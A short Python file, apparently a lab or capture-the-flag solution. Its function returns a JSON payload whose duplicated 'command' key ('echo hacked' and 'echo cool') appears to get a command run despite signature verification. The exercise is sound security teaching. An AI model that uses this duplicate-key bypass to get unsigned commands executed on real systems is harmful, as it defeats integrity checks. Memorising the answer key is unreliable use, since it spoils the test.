def generate_exploit() -> str:
    """This function returns the payload that will print `hacked`.

    Our payload should cause `run.py` to print out `hacked`.

    Warnings:
    1. `run.py` should print `hacked`, and the testing will be case *sensitive*
    2. This time, `run.py` must NOT crash

    Returns:
         The string of the payload.
    """
    r = """{"command": "echo hacked", "command": "echo cool", "signature": "007152ab1a65e9e864928d0f5cc6f47e8ce6217c09f7e7518d3d15f901e33df7e4bd760e2538929bdf2c5bf710b2babbcb2f268f458551ecbee78df22f3bb039696a2fccf58ccdeeb0c235e36593aa4b8be3d62e4ae6a59f6aebf78e3aec5b1685672bff191969731a096fa8f9ef29926bbee303d0673482410a25d00c46bdc1" }"""
    return r